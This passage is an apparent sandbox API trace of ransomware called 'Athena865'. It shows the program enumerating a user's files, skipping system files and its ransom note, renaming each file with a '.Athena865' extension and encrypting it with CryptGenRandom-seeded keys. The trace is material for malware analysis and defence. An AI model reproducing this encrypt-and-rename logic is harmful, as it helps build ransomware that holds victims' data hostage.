halpmcxz\\application data\\r9r-zhvtd.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\R9R-zhvtD.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\r9r-zhvtd.gif.athena865"), dwFlags=0x1) returned 1 [0049.933] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\R9R-zhvtD.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\r9r-zhvtd.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.933] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26781) returned 1 [0049.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.934] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.934] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.934] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.935] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6ba0, lpName=0x0) returned 0x154 [0049.935] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6ba0) returned 0x100000 [0049.936] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.936] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.936] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.937] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.937] CloseHandle (hObject=0x154) returned 1 [0049.937] CloseHandle (hObject=0x17c) returned 1 [0049.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.939] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83452440, ftCreationTime.dwHighDateTime=0x1d4cd3e, ftLastAccessTime.dwLowDateTime=0x3ab3ee20, ftLastAccessTime.dwHighDateTime=0x1d4d264, ftLastWriteTime.dwLowDateTime=0x3ab3ee20, ftLastWriteTime.dwHighDateTime=0x1d4d264, nFileSizeHigh=0x0, nFileSizeLow=0x105ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S_RJwFpCjL8CC-.flv", cAlternateFileName="S_RJWF~1.FLV")) returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2=".") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="..") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="windows") returned -1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="bootmgr") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="temp") returned -1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="pagefile.sys") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="boot") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="ids.txt") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="ntuser.dat") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="perflogs") returned 1 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2="MSBuild") returned 1 [0049.939] lstrlenW (lpString="S_RJwFpCjL8CC-.flv") returned 18 [0049.939] lstrcpyW (in: lpString1=0x241e8c8, lpString2="S_RJwFpCjL8CC-.flv" | out: lpString1="S_RJwFpCjL8CC-.flv") returned="S_RJwFpCjL8CC-.flv" [0049.939] lstrlenW (lpString="S_RJwFpCjL8CC-.flv") returned 18 [0049.939] lstrlenW (lpString="Athena865") returned 9 [0049.939] lstrcmpiW (lpString1="L8CC-.flv", lpString2="Athena865") returned 1 [0049.939] lstrlenW (lpString=".dll") returned 4 [0049.939] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2=".dll") returned 1 [0049.939] lstrlenW (lpString=".lnk") returned 4 [0049.940] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2=".lnk") returned 1 [0049.940] lstrlenW (lpString=".ini") returned 4 [0049.940] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2=".ini") returned 1 [0049.940] lstrlenW (lpString=".sys") returned 4 [0049.940] lstrcmpiW (lpString1="S_RJwFpCjL8CC-.flv", lpString2=".sys") returned 1 [0049.940] lstrlenW (lpString="S_RJwFpCjL8CC-.flv") returned 18 [0049.940] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\S_RJwFpCjL8CC-.flv.Athena865") returned 92 [0049.940] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\S_RJwFpCjL8CC-.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\s_rjwfpcjl8cc-.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\S_RJwFpCjL8CC-.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\s_rjwfpcjl8cc-.flv.athena865"), dwFlags=0x1) returned 1 [0049.940] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\S_RJwFpCjL8CC-.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\s_rjwfpcjl8cc-.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.941] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67022) returned 1 [0049.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.941] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.942] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.942] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.942] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x108d0, lpName=0x0) returned 0x154 [0049.942] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x108d0) returned 0x100000 [0049.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.945] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.945] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.945] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.946] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.946] CloseHandle (hObject=0x154) returned 1 [0049.946] CloseHandle (hObject=0x17c) returned 1 [0049.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.948] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6ffa72b0, ftCreationTime.dwHighDateTime=0x1d4c75c, ftLastAccessTime.dwLowDateTime=0x89199370, ftLastAccessTime.dwHighDateTime=0x1d4c7c0, ftLastWriteTime.dwLowDateTime=0x89199370, ftLastWriteTime.dwHighDateTime=0x1d4c7c0, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TYG7nsgbQtk.mp4", cAlternateFileName="TYG7NS~1.MP4")) returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2=".") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="..") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="windows") returned -1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="bootmgr") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="temp") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="pagefile.sys") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="boot") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="ids.txt") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="ntuser.dat") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="perflogs") returned 1 [0049.948] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2="MSBuild") returned 1 [0049.949] lstrlenW (lpString="TYG7nsgbQtk.mp4") returned 15 [0049.949] lstrcpyW (in: lpString1=0x241e8c8, lpString2="TYG7nsgbQtk.mp4" | out: lpString1="TYG7nsgbQtk.mp4") returned="TYG7nsgbQtk.mp4" [0049.949] lstrlenW (lpString="TYG7nsgbQtk.mp4") returned 15 [0049.949] lstrlenW (lpString="Athena865") returned 9 [0049.949] lstrcmpiW (lpString1="gbQtk.mp4", lpString2="Athena865") returned 1 [0049.949] lstrlenW (lpString=".dll") returned 4 [0049.949] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2=".dll") returned 1 [0049.949] lstrlenW (lpString=".lnk") returned 4 [0049.949] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2=".lnk") returned 1 [0049.949] lstrlenW (lpString=".ini") returned 4 [0049.949] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2=".ini") returned 1 [0049.949] lstrlenW (lpString=".sys") returned 4 [0049.949] lstrcmpiW (lpString1="TYG7nsgbQtk.mp4", lpString2=".sys") returned 1 [0049.949] lstrlenW (lpString="TYG7nsgbQtk.mp4") returned 15 [0049.949] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\TYG7nsgbQtk.mp4.Athena865") returned 89 [0049.949] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\TYG7nsgbQtk.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\tyg7nsgbqtk.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\TYG7nsgbQtk.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\tyg7nsgbqtk.mp4.athena865"), dwFlags=0x1) returned 1 [0049.950] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\TYG7nsgbQtk.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\tyg7nsgbqtk.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.950] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36669) returned 1 [0049.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.950] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.951] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.951] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.951] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9240, lpName=0x0) returned 0x154 [0049.951] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9240) returned 0x100000 [0049.953] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.959] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.959] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.959] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.960] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.960] CloseHandle (hObject=0x154) returned 1 [0049.960] CloseHandle (hObject=0x17c) returned 1 [0049.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.962] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5a493c0, ftCreationTime.dwHighDateTime=0x1d4cf1b, ftLastAccessTime.dwLowDateTime=0x181211e0, ftLastAccessTime.dwHighDateTime=0x1d4c6d8, ftLastWriteTime.dwLowDateTime=0x181211e0, ftLastWriteTime.dwHighDateTime=0x1d4c6d8, nFileSizeHigh=0x0, nFileSizeLow=0x1490, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WEHzo2vkl 2.m4a", cAlternateFileName="WEHZO2~1.M4A")) returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2=".") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="..") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="windows") returned -1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="bootmgr") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="temp") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="pagefile.sys") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="boot") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="ids.txt") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="ntuser.dat") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="perflogs") returned 1 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2="MSBuild") returned 1 [0049.962] lstrlenW (lpString="WEHzo2vkl 2.m4a") returned 15 [0049.962] lstrcpyW (in: lpString1=0x241e8c8, lpString2="WEHzo2vkl 2.m4a" | out: lpString1="WEHzo2vkl 2.m4a") returned="WEHzo2vkl 2.m4a" [0049.962] lstrlenW (lpString="WEHzo2vkl 2.m4a") returned 15 [0049.962] lstrlenW (lpString="Athena865") returned 9 [0049.962] lstrcmpiW (lpString1="vkl 2.m4a", lpString2="Athena865") returned 1 [0049.962] lstrlenW (lpString=".dll") returned 4 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2=".dll") returned 1 [0049.962] lstrlenW (lpString=".lnk") returned 4 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2=".lnk") returned 1 [0049.962] lstrlenW (lpString=".ini") returned 4 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2=".ini") returned 1 [0049.962] lstrlenW (lpString=".sys") returned 4 [0049.962] lstrcmpiW (lpString1="WEHzo2vkl 2.m4a", lpString2=".sys") returned 1 [0049.962] lstrlenW (lpString="WEHzo2vkl 2.m4a") returned 15 [0049.963] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\WEHzo2vkl 2.m4a.Athena865") returned 89 [0049.963] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\WEHzo2vkl 2.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\wehzo2vkl 2.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\WEHzo2vkl 2.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\wehzo2vkl 2.m4a.athena865"), dwFlags=0x1) returned 1 [0049.963] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\WEHzo2vkl 2.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\wehzo2vkl 2.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0049.963] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5264) returned 1 [0049.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.964] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.964] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.964] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.965] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.965] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1790, lpName=0x0) returned 0x154 [0049.965] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1790) returned 0x100000 [0049.965] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.966] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.966] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0049.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0049.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.966] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.966] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.967] CloseHandle (hObject=0x154) returned 1 [0049.967] CloseHandle (hObject=0x17c) returned 1 [0049.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.968] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb15800b0, ftCreationTime.dwHighDateTime=0x1d4ccf7, ftLastAccessTime.dwLowDateTime=0xc4cebb60, ftLastAccessTime.dwHighDateTime=0x1d4c901, ftLastWriteTime.dwLowDateTime=0xc4cebb60, ftLastWriteTime.dwHighDateTime=0x1d4c901, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XkXyOUxk3hP_TJ3h.mp3", cAlternateFileName="XKXYOU~1.MP3")) returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2=".") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="..") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="windows") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="bootmgr") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", lpString2="temp") returned 1 [0049.968] lstrcmpiW (lpString1="XkXyOUxk3hP_TJ3h.mp3", 